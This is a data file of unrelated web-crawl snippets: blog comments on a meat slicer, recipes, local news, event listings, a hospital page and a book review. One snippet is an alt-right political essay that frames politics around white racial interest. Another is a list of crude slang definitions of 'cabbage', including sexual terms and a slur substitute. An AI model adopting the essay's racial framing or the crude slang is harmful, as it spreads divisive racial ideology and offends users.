text:
tag:blogger.com,1999:blog-2058183008078317465.post3151916940745489749..comments2016-06-29T16:45:17.513-04:00Comments on Nibble Me This: Any Way You Slice It - Meat SlicersChrishttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-6937980430120275742015-10-17T09:06:41.525-04:002015-10-17T09:06:41.525-04:00Looks and sounds yummy. I know what i'm doing at t...Looks and sounds yummy. I know what i'm doing at the weekend!

Great post my friend.Maryhttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-76229143852801982172015-03-26T10:12:18.143-04:002015-03-26T10:12:18.143-04:00This meat looks really delicious! I am really hung...This meat looks really delicious! I am really hungry now, and have a strange desire to buy a meat slicer. I just may get one and make a few of my own sandwich meats!
 4mmc.comPhillius Thomashttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-5585138504723249082010-01-30T21:28:08.373-05:002010-01-30T21:28:08.373-05:00ooooh....this is awesome!! some friends of ours ga...ooooh....this is awesome!! some friends of ours gave us a meat slicer cuz they don't use it. I haven't either yet...but now I know SOMEthing at leastDaniellehttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-16799159457169504762010-01-29T01:00:11.071-05:002010-01-29T01:00:11.071-05:00Nice slicer, way more wow than I have in my kitche...Nice slicer, way more wow than I have in my kitchen. Now I (of course) want one. GREGSippity Suphttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-30013250661225194952010-01-28T01:23:32.605-05:002010-01-28T01:23:32.605-05:00Hi Chris, I'm not quite sure how I "lande...Hi Chris,
I'm not quite sure how I "landed" here which means, I'm probably not a candidate for a meat slicer; tonight anyway. Boy oh boy that sure is one heck of a slicer!!! It may be one of the few times that I would consider a meat slicer a star to a beauty of a roast. And, that roast sure is a thing of beauty.

Let's see, while I'm here, I may as well tell you my favorite thin sliced roast beef indulgence is...drum roll...A Manhattan Special. Thinly sliced roast beef, melted mozzarella and horseradish lavishly slathered on garlic bread, dashed under the broiler and smothered in au jus.

Thanks for the GREAT tips!~~louise~~http://email@example.com:blogger.com,1999:blog-2058183008078317465.post-40898774376940030392010-01-28T00:01:43.699-05:002010-01-28T00:01:43.699-05:00Yeah, using it in the bathtub is a bad idea. I th...Yeah, using it in the bathtub is a bad idea. I think I want a meat slicer for Christmas this year.Pamhttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-77567023024254574302010-01-27T23:55:47.334-05:002010-01-27T23:55:47.334-05:00Nice.... I can think of a lot of uses for a spiffy...Nice.... I can think of a lot of uses for a spiffy slicer like this. Unfortunately, I can't think of so many places to put one in my kitchen ;\Fearless Kitchenhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-6843171537263716402010-01-27T20:12:03.745-05:002010-01-27T20:12:03.745-05:00Yum! Eye round is my favorite cut for roast beef -...Yum! Eye round is my favorite cut for roast beef - love how lean it is as long as there is a nice top layer of fat while cooking.

I've seen the meat slicers at Sam's Club, have wanted one for a long time! Deli meats are just so yucky! One of these days I'm going to get one.

My favorite for this cut of meat is thin sliced on toasted "everything" bagels - with or without some condiments and/or various toppings.Martha@Menageriehttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-55517853797689537172010-01-27T16:44:27.550-05:002010-01-27T16:44:27.550-05:00"There are no such thing as small cuts on a m..."There are no such thing as small cuts on a meat slice" Amen. Great tips!

I second the recommendation on the 610. I've got one and love it.Davehttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-25811235395110797382010-01-27T15:48:54.386-05:002010-01-27T15:48:54.386-05:00Good Grief, you'll put an eye out with that th...Good Grief, you'll put an eye out with that thing! All kidding aside, that's very cool that you have one of those. I've actually never known anyone who had one of those. Well, as suspected, you have fallen victim in my failed RSS feeds. I'm missing alot of folks posts! You didn't just upgrade to Windows 7 did you? I'm trying to figure this all out. I'm receiving some and some are not working. Anyway, I've got some Green Egg reading to catch up on.Lea Annhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-2086582383076210892010-01-27T14:37:04.033-05:002010-01-27T14:37:04.033-05:00I've always wanted a meat slicer. They are so ...I've always wanted a meat slicer. They are so cool. Wish I had the space in the pantry.
SamMy Carolina Kitchenhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-14319101069365430832010-01-27T12:01:48.947-05:002010-01-27T12:01:48.947-05:00I would love that thing!!!!!That roast beef looks ...I would love that thing!!!!!That roast beef looks incredible.Ericahttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-64726228916487368122010-01-27T11:45:26.093-05:002010-01-27T11:45:26.093-05:00Wow - that's one mean looking machine! If I h...Wow - that's one mean looking machine! If I had a few more digits I might be willing to get myself one and give it a go...but given my history with the lowly knife, I'm sure I'd end up with paws if I had a REAL meat slicer...I'll just leave them to the professionals - like you. xo, NanPots and Pinshttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-75662571516946573322010-01-27T10:48:14.955-05:002010-01-27T10:48:14.955-05:00Vickie: Horseradish & roast beef, a match mad...Vickie: Horseradish & roast beef, a match made in heaven.

Rolf: It's a pain in the rear to clean though, isn't it?

LOTW: I don't know, did you see the episode with his shooting? Dude can handle a gun.

Dave: Did you have one when you were there?Chrishttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-39915694212417393592010-01-27T10:28:40.610-05:002010-01-27T10:28:40.610-05:00I have always wanted a meat slicer. I can think of...I have always wanted a meat slicer. I can think of a thousand ways I would use one just about everyday. The minute I get a bigger kitchen, I'm picking up one of these bad boys :)Karenhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-65086736409038238942010-01-27T07:48:52.545-05:002010-01-27T07:48:52.545-05:00I want that po'boy!I want that po'boy!A Year on the Grillhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-49921313574581713442010-01-27T05:42:31.863-05:002010-01-27T05:42:31.863-05:00Wow - you are ready to set up your own eatery. Wha...Wow - you are ready to set up your own eatery. What gadgets do you still need that you don't have?

When I read your line "who dat" it reminded me of seeing Steven Segall: Law Man. But I'm sure with your martial arts training you could kick his ass and then serve and excellently sliced deli sandwich.Lord of the Wingshttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-20751055965085335642010-01-27T00:12:26.808-05:002010-01-27T00:12:26.808-05:00Lol, got exactly the same slicer...Lol, got exactly the same slicer...firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-52389874980200296492010-01-26T18:01:32.977-05:002010-01-26T18:01:32.977-05:00Tasty post! Roast beef is my favorite deli choice...Tasty post! Roast beef is my favorite deli choice and I'm certain yours is top drawer. I like Philly Cheesesteaks and French Dips, but my favorite is a good old deli sandwich on a hard roll with horseradish mayo, lettuce or sprouts, onion & tomato. Made my mouth water just typing that!Vickiehttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-14034365497196209752010-01-26T16:53:12.557-05:002010-01-26T16:53:12.557-05:00Pam: No you can't use my slicer to trim your ...Pam: No you can't use my slicer to trim your shoe heal!

Kim: Open faced roast beef sandwich with gravy, one of my favorites from McAllisters!

BD: And I DID save a cup or two of au jus just for that.

Katherine: debris gravy and biscuits sounds so good!

Dr. Zibbs: It's not really as big as it looks. That blade is only 7.5 inches. This isn't a full sized deli slicer. The only one smaller that I've seen is those plastic ones that aren't very good.

Chef E: Amazon has them for under $100 but I'd strongly recommend taking a look at the Chef's Choice 610 model. Similar price and much easier to clean.Chrishttp://firstname.lastname@example.com:blogger.com,1999:blog-2058183008078317465.post-9488395151101706162010-01-26T16:24:55.949-05:002010-01-26T16:24:55.949-05:00Thanks for the helpful hintsThanks for the helpful hintsBig Dudehttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-59862493892700735722010-01-26T15:24:54.212-05:002010-01-26T15:24:54.212-05:00Oh man oh man you just gave me an idea for my birt...Oh man oh man you just gave me an idea for my birthday present from mom in law! I am going for the fancy ceramic pots from this years gift certificates...can you tell me where I should send her for this? Seriously...Chef Ehttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-18371530960054971392010-01-26T14:58:06.600-05:002010-01-26T14:58:06.600-05:00Whoa. I'd love to have one but I bet they'...Whoa. I'd love to have one but I bet they're expensive. They should make a smaller version.Dr Zibbshttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-34378164346675202372010-01-26T14:53:44.606-05:002010-01-26T14:53:44.606-05:00Very good post Chris. Now I just need to win a me...Very good post Chris. Now I just need to win a meat slicer!

you are so right about the debris sammie. Ya'll do biscuits and gravy here...in N.O. (Lou-brees-e-anna), you won't find them on the menu, but at Mother's you can get Biscuits and Debris Gravy. Now that's something!

Who Dat!Katherine Aucoinhttp://email@example.com:blogger.com,1999:blog-2058183008078317465.post-32741202137141970262010-01-26T11:51:44.069-05:002010-01-26T11:51:44.069-05:00Add to Chris and his good advice- don't buy a ...Add to Chris and his good advice- don't buy a cheap plastic framed one- I did, and they are not good! Favorite sliced roast beef sandwich? French Dip!buffalodickhttp://email@example.com


text:
Francine Tougas Movies and Career Information
Actor and Writer
- Francine Tougas Movies before 2015
- Duplessis - Episodes 4 et 5 1978
- Duplessis - Episodes 6 et 7 1978
- Movies Written by Francine Tougas
- Cirque du Soleil: Baroque Odyssey
Although updated daily, all theaters, movie show times, and movie listings should be independently verified with the movie theatre.
Contact mrmovietimes.com for information or comments. Please read the mrmovietimes.com Privacy Policy and terms of use. Enjoy the movie!
Copyright © 2016 Movie Times, Inc. Site Map | Google+

subset: commoncrawl


text:
Download Stop Circus Suffering, USA video
Download Stop Circus Suffering, USA video on savevid.com
Download Stop Circus Suffering, USA streaming video in flv, mp4, avi formats direct easily on Savevid.com.
Stop Circus Suffering, USA
- Provider: YouTube Link:
- Rate: Please rate this video Views: 0 Downloads: 1
The Truth About the Treatment of Animals in Circuses
Filmed by Animal Defenders International, this video exposes the suffering of animals in circuses around the world, including here in the USA.
ADI reveals:
• The violence used to train and control the animals
• The small cages, temporary pens, and chains that the animals
live and die in
• The animals driven out of their minds by boredom and deprivation
• The long journeys these animals endure
• The unnatural conditions the animals are forced to survive in
Narrated by Remo Conscious
- Tags:
- Category: Flag video


text:
Home | Advertise | Classifieds | About | Contact
Sign In
By Karen Garcia
June 13, 2013 | Volume 43, Number 23
A would-be thief who packed his truck full of $2,000 worth of stolen lumber at the Southeast Alaska State Fairgrounds tried to pass himself off as the organization's maintenance man.
It didn't work.
The 56-year-old resident left a handwritten...
For access to this article please sign in or subscribe.
Chilkat Valley News | P.O. Box 630, Haines AK 99827
Ph: (907) 766-2688 | email@example.com | www.chilkatvalleynews.com Content and information copyright 2015 Chilkat Valley News
Powered by ROAR Online Publication Software
© Copyright 2015 Lions Light Corp.
— Software for newspapers & magazines


text: Patient Education Welcome to the Patient Information section of The Sands-Constellation Heart Institute's website. If you or someone you know is at risk for cardiac disease or has just been diagnosed – chances are you have a number of questions. SCHI knows that your family's health is important and that education is a powerful tool. We've included information in this section on common heart conditions, a glossary of terms, what to bring to your appointments and more. This section and its associated materials and links are for informational and educational purposes only. Please be sure to contact your physician and your cardiac team directly with more specific questions about your personal heart health and cardiac condition. Common heart conditions Prevention of heart disease Diagnosis of heart disease What to bring to your appointment Glossary of cardiovascular terms Helpful cardiovascular disease links


text:
In only nine months, the W. P. Carey Master's in Management program can give you the business fundamentals you need to succeed – no matter where your career takes you. Join us on the ASU Tempe campus and learn how a MiM degree will help you stand out in a sea of bachelor's degrees.
MiM: Give Your Job Search a Boost
Calendar of Events
MiM: Give Your Job Search a Boost
Tuesday, November 19, 2013
2:00pm to 3:00pm
The start date for this event has passed.
ASU Tempe Campus
ASU Tempe Campus
McCord Hall
Room 270


text:
The traditional panzanella is Italian, specifically Tuscan, in origin. This is Ina Garten's, the celebrity chef, Greek version of this delicious bread laden salad. The addition of tangy feta cheese and the Kalamata olives transform this salad into a Greek delight.
It is delicious and can be served as a hearty summer lunch, dinner or even as a side salad, in a smaller portion.
Greek Panzanella
- 3/4 cup olive oil
- 6 cups diced rustic bread, cut into 1" cubes
- Kosher salt
- Fresh ground black pepper
- 1 English cucumber, unpeeled, halved lengthwise, seeded, sliced 1/2" thick
- 1 red pepper, seeded and large-diced
- 1 yellow pepper, seeded and large-diced
- 1 pint cherry or grape tomatoes
- 1 small red onion, thinly sliced in half-rounds
- 8 ounces feta cheese, cut into 3/4" cubes
- 1/2 cup Kalamata olives, pitted
- 1/4 cup red wine vinegar
- 2 clives garlic, minced
- 1 teaspoon oregano, crushed
- 1//2 teaspoon Dijon mustard
- 1 teaspoon salt
- 1/2 teaspoon pepper
- Heat 1/4 cup oil in large skillet until hot.
- Add bread; sprinkle with salt and pepper. Cook over medium heat for 5 to 10 minutes, tossing frequently, until browned. Set aside.
- Place prepared cucumber, peppers, tomatoes and onion in a large bowl and toss together.
- Add feta, olives and bread.
- Whisk together vinegar, garlic, oregano, mustard, 1/2 teaspoon salt and 1/2 teaspoon pepper.
- Whisking constantly, slowly add remaining oil to make emulsion.
- Add dressing to salad; toss lightly.
- Set aside for 30 minutes for flavors to develop. Season to taste.
- Serve at room temperature.
Serves 6


text:
Three years and three million disastrous policy pushes later, the Republican Party is in big trouble heading into the 2014 midterms. Viewed from the perspective of conservatives, the 2010 midterms supposedly ushered in the era of the "Tea Party revolution" – a revolution that would sweep Barack Obama out of the White House and forge the core of a new multiracial rainbow coalition where blacks, Hispanics, and Asians join Whites in standing for "limited government" and "free market capitalism."
Suffice to say, that "revolution" was never a reality. It was a fiction of delirious conservative imagination. Obama got reelected President with overwhelming support from all non-white demographics, and the only demographic that supported anything the Republicans did over the last three years was White people. Try as they might, a conservative rainbow coalition is never happening.
With that said, here are the facts heading into the 2014 midterms: Whereas the Democrats will campaign mainly on raising the minimum wage, which has failed to keep up with inflation, the GOP will presumably run on opposition to Obamacare (to pacify their own base), and on the myth that "conservative economic ideas" will improve the livelihood of non-whites. Leaving aside the fact that if John Boehner and House Republicans cave on amnesty, then the White base will be demoralized, the GOP might lose on Obamacare and economic rhetoric alone.
As bad as that law is, the White base seems to be growing sick and tired of hearing everyone in the conservative noise machine harp on it on a daily basis. Oh sure, the latest posts on Facebook from Ted Cruz and the Heritage Foundation will still garner hundreds or even thousands of "likes," and talk radio will still get its round of angry "repeal Obamacare" callers.
But as Michael Savage has said repeatedly, do you really want to listen to these conservatives rail against Obamacare all the time? Savage just displaced the milquetoast Sean Hannity in the coveted 3-6 slot thanks in no small part to his coverage of immigration and culture. If Cruz or any of these Tea Party/conservative leaders think that railing against Obamacare is their ticket to keeping control of the House, then they're going to find it's a one trick pony.
This is where the Democrats already have the GOP checkmated. Here's how the average voter will see it: Tax cuts that don't benefit me and spending cuts that hurt me vs. increasing wages to keep up with basic expenses. As long as the Democrats can stay away from the insatiable urge to blame everything on "White Privilege" and "racism" for the next ten months, they'll get the White vote everywhere but the South and will cruise to victory.
A big "if," that, but here's the bottom line: Campaigning on the minimum wage is a smart tactical strategy. It forces the Republicans and especially the Tea Party to defend economic outcomes of free market policies that are indefensible, such as stagnating wages and decreased consumer buying power. Because the GOP is bankrolled by mega-rich corporate donors, and because the Tea Party is religiously committed to the aforementioned dogmas of "limited government" and "capitalism," they'll happily demonize any increase in the minimum wage as "socialism gone wild."
It's bad enough that the Republicans and Tea Partiers utterly refuse to stand for the interests of the one and only racial demographic that supports them, but from their own strategical standpoint, it's even worse when they campaign on policies that their own base is either tired of hearing or will reject out of hand (the free market/anti-government ideologues notwithstanding).
If and when the Democrats siege control of the House, here's the question everyone on the alternative right has got to start thinking: Are the Republicans and the Tea Party both designed to lose? Or do the corporate donors that allow the GOP and Tea Party to exist honestly think that the political and ideological agendas they support will protect their hoards of money over the long run?
Because while the general agreement on the alt right is that the Tea Party is controlled opposition (hence why it would be designed to lose), many of them still hold out hope that their groups might get covert support and funding from rich white business owners. You heard it here first: That will never happen.


text:
Downtown Juneau emerges Tuesday from a blanket of fog. The weather caused some flight delays at Juneau International Airport. Today's weather forecast calls for areas of fog in the morning, becoming mostly sunny in the afternoon. Temperatures are expected to be in the high 30s.
Sound off on the important issues at
Juneau Empire © 2016. All Rights Reserved. Terms of Service | Privacy Policy / About Our Ads


text:
I am thinking of making use of iPad to show customers a dynamic presentation.
Customers will have access to an iPad for it and I won't take part on it, so more than a presentation it will act like an iPad application. (internal links between screens...etc.)
Which would be the best way to do it?
I was thinking of using Keynote but I'm not sure if it would be the best option. Any other idea?


text:
All students are assigned an academic advisor upon entrance to the
Portland. Undeclared students are assigned an advisor who matches an area students think they might be interested in studying. It is a good idea for undeclared students to talk to faculty members and upper-class students from various majors of interest about possible courses of study.


text:
This trippy DJ Jazzy Jeff and James Poyser remix of Moonchild's "Be Free" is taking us to alternate dimensions. Love the slinky, warpy treatment juxtaposed with jazzy horns. We need more of this, stat.
Develops and implements integrated marketing strategies, digital, social, event and experiential programs for consumer brands, leveraging music and culture.


text:
- Police/Fire/Courts
- Business
- Local
- State/Northeast
- Nation/World
- 2016 Elections
- Special Reports
- Maps & Data
- Military
- Horoscopes
- Dear Abby
- Games & Puzzles
- Lifestyle
- Events & Exhibits
- Food & Drink
- Arts & Music
- Movies & TV
TRENTON, N.J. (AP) -- A former NBA player best known for his 1990 tournament buzzer-beater for the University of Connecticut was convicted Monday of four counts of federal wire fraud in a Ponzi scheme that netted him $2 million.
Authorities said Tate George carried out a profitable scheme that lined his pockets from 2005 to early 2011, even though his purported real estate development firm - The George Group - had virtually no income-generating operation.
Prosecutors say he used money from new investors to pay previous investors or for home improvements and personal expenses, including his daughter's Sweet 16 birthday party. George also gave money to family members and friends and spent nearly $3,000 to promote a Tate George "reality show" that is still available on YouTube.
A federal jury in Trenton, N.J., returned the verdict after a three-week trial. Prosecutors say George's bail was immediately revoked, and his sentencing was scheduled for Jan. 16.
"The defendant has an incentive to run," Joseph Shumofsky, the lead federal prosecutor, told the judge. "If your honor lets him walk out of the courthouse today, there is more than a good chance that we will never see him again."
Each count of wire fraud carries a penalty of up to 20 years in prison and a $250,000 fine.
George spent four seasons in the NBA with the New Jersey Nets and Milwaukee Bucks. He's best known for catching a full-court pass and sinking a jumper at the buzzer to give UConn a victory in a 1990 NCAA regional semifinal against Clemson.
During the trial, prosecutors said George held himself out as the CEO of The George Group and claimed to have more than $500 million in assets under management. He pitched prospective investors, including several former pro athletes, to invest with the firm and told them their money would be used to fund the purchase and development of real estate projects, including some in Connecticut and New Jersey.
George told some prospective investors that their funds would be held in an attorney trust account, prosecutors said, and he personally guaranteed the return of their investments, with interest.
Green Monster Theory ... or when New London's finest understand concept of community
Police find 121 grams of marijuana, stolen handgun in New London home
Ledyard police arrest New London man after crash at Naval Submarine Base
Car crashes into New London house, sending driver to hospital
Local GOP committee members, leaders uneasy about Trump as nominee
Police: Ledyard woman facing more charges after hitting EMT, breaking cruiser window
Norwich man taken to Hartford Hospital after motorcycle crash


text:
Custom glass and handrail
Magik Glass and Door is the Coachella Valley's elite full service Glazing Contractor. We specialize in Service and Repair, Curtain Wall, Storefront, Windows, Doors, Automatic Doors, Showers, Heavy Glass and Mirrors. Our dedicated staff will provide the support and solutions you need from project inception to completion.
We serve the desert cities of Palm Springs, Cathedral City, Desert Hot Springs, Palm Desert, Bermuda Dunes, La Quinta, Indio, as well as most of Southern California including Orange, San Bernardino, Riverside, San Diego, and Imperial Counties.
We highly recommend Mark @ West Coast Networking for all your IT […]
Our website, www.magikglass.com, was hacked and taken off line on 5/14/14, site […]
Please provide us with your basic contact information and a brief description of your project if possible. One of our friendly team members will respond quickly.
Magik Enterprises, Inc.
dba Magik Glass And Door,
3500 Tachevah Dr., Ste A,
Palm Springs, CA 92262
Tel. 760.325.1876
Fax 760.320.0549
Time : Monday-Friday 7:00 AM to 4:00 PM


text:
While in sex, the male inserts his penis then lifts the rest of his ballsack into the vagina, mouth, ass
Guy: I cabbaged her so hard last night.
por Captain Immy 13 de Abril de 2011
Someone's head, usually when doing something violent/less than favorable to it.
"You'll get your fuckin' face erased from your cabbage." - Ill Bill
por Traaan 08 de Julho de 2010
The horrible remains of a flung or wiped booger on the men's room wall that seems to stare back at you while you take a piss.
"Damn dude I went and took a piss and there is fucking cabbage all over the wall."
por Funkbut 14 de Março de 2010
A fat boy with usually blonde hair who wears a green shirt almost everyday.
Stephan is being a cabbage again.
por Luke Cox 19 de Outubro de 2008
luggage cart used at a hotel
He was riding the cabbage through to hotel.
por that one girllll 03 de Março de 2008
an old granny vagina, with flaps etc..
'wop it up a cabbage'
por Phill Newton 01 de Fevereiro de 2008
common word used to replace cunt should you not want to offend whoever you're talking to.
GF (with friends): "Hey baby"
BF: "Awww baby, why'd you bring those cabbages"
BF: "Awww baby, why'd you bring those cabbages"
por Superiority 12 de Setembro de 2007


text:
Hi, I'm Robert Boyce
an interface designer and web developer living in San Francisco, CA.
I am a Mobile User Interface Engineer at Facebook.
I have a blog for articles and project news, as well as a Tumblr for quicker postings.
You can check out my contact info for other online presence details.


text:
Men's Basketball clinches No. 2 seed with win in Fort Worth
- Details
- Source: SoonerScoop.com
(by RJ Young) Sophomore Je'lon Hornbeak remembered the moment Oklahoma's 2012-13 season began a turn for the worse. It was almost exactly a year ago to the day that the Sooners traveled down I-35 to battle what was the worst team in the Big 12. The Horned Frogs had...Read more w/video


text:
Search What's On
A spectacular range of events are planned every year in Portsmouth, on Southsea Seafront and in Portsmouth's museums, galleries, theatres, live venues and parks.
On this page you'll discover some of the can't miss event highlights coming up this month and throughout the year. If you're searching for more use the pink search box to browse thousands of special events taking place in the city, either by date or category so you'll definitely finds something that takes your fancy.
Portsmouth is a city of festivals, with a year-round programme for every taste including music, literature, food, kites and loads more. Victorious Festival is one of the South Coast's best family music festivals with amazing headliners and Portsmouth Bookfest brings national and international authors to the city each year to celebrate its strong literary heritage.
Check out our festival highlights for the biggest and best in Portsmouth this year.
Sports in the City
Portsmouth boasts loads of outdoor, green areas, fantastic sports facilities, brilliant watersports and much more which makes Portsmouth a sports lover's paradise. Why not catch a game of football at Fratton Park, home to Portsmouth F.C or take to the streets in the UK's premier 10-mile event the Great South Run. Why not catch a game of football at Fratton Park, home to Portsmouth F.C or take to the streets in the UK's premier 10-mile event the Great South Run.
Find out why Portsmouth is the perfect place for a run in our Pound the Pavements section.
Submit an Event
Do you have a forthcoming event that is big enough to attract visitors? If so then you can advertise it free of charge on VisitPortsmouth.co.uk? Click here to add your own events.
Events and Entertainment in Portsmouth
Discover some of the events and entertainment that you'll find in Portsmouth in our video.


text:
This is an amazing book to read if you are experiencing a loss. There are clear losses, as divorce; not-so obvious losses, such as loss of a long-term goal, loss related to aging, loss of beauty, and limbo losses, such as a business transaction that may or may not fall through. It explains how an emotional injury feels like a physical wound, but it is worse; you can't put a bandage on it. This book should become dog-eared and beat up looking, as you carry it with you on the road to healing.
The book is filled with poetry. Many of the poems cut right to the heart and make you cry. A few will make you laugh, and some will make you think. The poems are especially good, because you know the person writing them has felt just like you do, and it helps to know you are not alone. When your heart has been served to you on a silver platter, with a butcher knife stuck through it, many of the poems will help stop the bleeding for a moment.
One of the poems is very powerful in its simplicity:
I find
I lost.
With the shock of a loss, sometimes when you wake up, you may experience the loss all over again; because while you were asleep, for a moment, the pain went away.
This poem explains it well:
We wake and snuggle
Afternoon .
a call.
A brutal goodbye
O my god. O my god. O my god.
Mourning. Again.
The book explains how you will survive, even if you don't feel like you can. It encourages you to see a mental health professional if it is so overwhelming you have thoughts of suicide or feel you are coming apart.
The hardest part is acknowledging the loss. It is such a struggle to believe it happened. You feel like you are not strong enough. You have to accept it; however, in accepting it, it hurts. The book continues to explain how you are not alone, even though you feel you are. That everyone has experienced a loss of some kind.
There is a chapter on building back your self-esteem. This chapter's main focus is to teach you not to live with the "if only," thoughts. Helping you see you are more than the emotional wound you are suffering. It is important to re-discover the good, the great, and the beautiful within you. There also is a poem that speaks very loudly to your feeling of worth.
I am joy.
I am everything.
I can do all things but two.
1.Forget that I love you
2.Forget that you no longer love me.
The book also deals with thoughts of suicide. This book describes it simply.
The Question of Suicide:
Keep it a question.
It's not really an answer.
The last half of the book is dedicated to healing process. At the end of the book, it states that your happiness is up to you.
It is a risk to love.
What if it doesn't
Work out?
But what if it does?
This book is helpful; to the point; at times tough; and other times tender. This book by Harold H. Bloomfield, M.D., Melba Colgrove, PhD., and Peter McWilliams, is a treasured gift to read yourself or to send to someone whom you know needs some help.
Thank you cousin Cindy


text:
Make a pumpkin pie that's filled with pumpkin flavor with Sara's Secrets.
Ina, Aida and Paula (with Rachael) present three pumpkin-pie alternatives.
Pumpkin Lover's Lasagna celebrates fall's bounty in a savory one-dish meal.
Stuffed French toast and pumpkin spice doughnuts turn breakfast into art.
Sunny's Mini Pecan Pumpkin Pies combine two holiday tastes in one bite.
With Aida's Baked Pumpkin Risotto, you won't have to babysit your dinner.
Nick creates his Rumpkin cocktail while Danielle and Deb set the table.
Pumpkin pie's the name of the game when Bobby faces an award-winning baker.
Try this clever recipe for an elegant pumpkin pie brulee.
Sara Moulton makes a Latin-inspired pumpkin flan with a praline topping.
Get Cooking Channel on your TV.


text:
Whether treating a toddler in an emergency or supporting a teen through chemotherapy treatments, we are dedicated to the care of each patient. It's through teamwork at every level of Children's Healthcare of Atlanta and with you, the family, that we are able to achieve excellence in pediatric care.
See more about us
With a proven track record of providing world-class care to patients in more than 30 pediatric specialties, we are a model for other pediatric hospitals. Infants, teens and young adults belong in a children's hospital where they can get specialized treatment from caregivers who know the important differences between children and adults.
See our clinical services
Research is a cornerstone of the Children's Healthcare of Atlanta mission to enhance the lives of children. In conjunction with Emory University School of Medicine, Georgia Tech and Morehouse, Children's seeks answers to the most challenging childhood medical conditions through teaching and research.
We all want happy, healthy kids. But as a busy parent, helping your kids eat well and stay active can be a challenge.
At Strong4Life, created by Children's Healthcare of Atlanta, our doctors, nutritionists and wellness experts create fun, easy ways to help your kids eat, move and live healthier. From picky eaters to passionate gamers, we have a slew of simple tips by experts who understand, because we're parents, too.
As a not-for-profit organization, Children's Healthcare of Atlanta relies on the generous financial and volunteer support of our community. Your donations directly impact the lives of each family served by Children's and support many initiatives such as clinical excellence, research, teaching, wellness and charity care.
Our ECMO Center offers a multispecialty team led by Medical Directors Francine Dykes, M.D., James D. Fortenberry, M.D., and Kirk Kanter, M.D.
Children's at Egleston
Children's at Scottish Rite
Transfer Center
Deb Laporte, Director at Egleston
Cindy Henderson, Director at Scottish Rite
By all appearances, Nicholas is a happy, healthy baby. But until recently, his very survival was questionable.
Nicholas was born with cardiomyopathy, a disease that causes the heart to lose its ability to pump blood. After a short stay in a local hospital, Nicholas was transferred to Children's with congestive heart failure.
"I was scared out of my mind," says his mom, Kelly. "He was lying there, not moving, with wires attached to every part of his tiny body. He looked totally helpless. It was just tragic."
To support his failing heart, the Children's Critical Care team used a life-saving technology called ECMO, or extracorporeal membrane oxygenation. ECMO takes over the role of the heart and lungs by utilizing a blood pump and an artificial lung machine. The machine adds oxygen to the blood and returns it to the body. During ECMO treatment, the damaged organs can rest and heal.
Children's is one of the few hospitals in the Southeast that offers ECMO to both children and adults. And, as the 400th patient to undergo ECMO treatment at Children's, Nicholas took his place in hospital history.
At one month, Nicholas was well enough to go home. But Kelly still shudders to think of how things might have been different. "When Nicholas was born, there was a good chance that he would die. The doctors and nurses at Children's definitely saved his life. If it weren't for them, he simply wouldn't be here."
Find a Doctor
Preregistration Forms
Billing & Insurance
©2016 Children's Healthcare of Atlanta Inc. All Rights Reserved.


text:
May 17: Fort Ouiatenon Blockhouse (link) opens for the season. Re-enactors will be onsite to present a taste of 18th century life in the backwoods of New France. Free event, 1-5 p.m.
May 17, 18: Haan Mansion (link) tours. 1:30 to 3:30 p.m., 12$ fee. Once known as the Potter Mansion, the home was imported to Lafayette from the St. Louis World's Fair. Today it is owned by Ellie and Bob Haan. The Haan's have an art collection, on display through the historic home.
May 16,17,18: Linden Depot Museum (link) is open for the season. Noon to 5 p.m. New this season, the 2nd building is open to the public. The second building houses a large HO train layout. The building was formerly open only to volunteers building the layout. Fee: 4$ Adults, 1$ children. May 17 from 1-3 p.m. Model train show: all gauges.
May 17-18: Transportation Fair in Delphi (link). Historic means of transportation can be seen throughout the town and Canal Park. Free.
May 17-18: Delphi Canal Park (link). As part of the Transportation Fair, the canal boat "Delphi" opens the season for tours. Noble Bikes at the Canal (link) has bikes and boats for rent to tour the canal and trails.


text:
(0) items
Edition: 7th
Author(s): Michael Meyer
ISBN: 9780312434458 / Trade Paper / 5/13/2005
Marketplace Disclaimer:
Edition, Cover Design, etc may vary from the eCampus.com description. Please refer to the seller's comments before ordering. Marketplace sellers are required to ship by the end of the 5th business day. Items are not returnable to eCampus.com. Orders cannot be cancelled by eCampus.com.


text:
Valentine's Day is swiftly approaching, and you're probably in a state of panic after hearing everyone else gush their romantic plans for the evening. So instead of paying for an overprice meal in a packed-to-the-gills restaurant, why not show some culinary skill and engage in a gesture that's more meaningful and intimate that doesn't require dressing up and waiting in a cramped doorway for half an hour even though you made reservations.
I asked a friend of mine, Adrian Ashby, (chef extraordinaire) to come up with some easy, delicious and accessible recipes for a fun and semi-sophisticated Valentine's Day at home. The story behind these recipes...
Adrian's lady love is a fan of breakfast for dinner ( a.k.a "brinner"), so being that awesome guy that he is, here's what he created for our special Valentine's Day menu: Brie & Honey Tartlets, Lemon Sorbet Bellinis and Chocolate Waffles (best paired with a side of bacon and/or sausage and eggs).
Brie & Honey Tartlets
Make a wonderful savory sweet appetizer with just a hint of saltiness. They're super easy to make and they're great for parties.
- 1 box of mini fillo dough shells
- 8 oz Brie cheese
- ¼ cup Heavy Cream
- 3 tbsp Honey
- 2 tbsp Nutella (chocolate hazelnut spread)
- 4 oz Prosciutto
- 8 strawberries, halved
- Bake your mini fillo dough shells following to the manufacturer's instructions; set aside to cool.
- Add a drop of Nutella in each fillo shell.
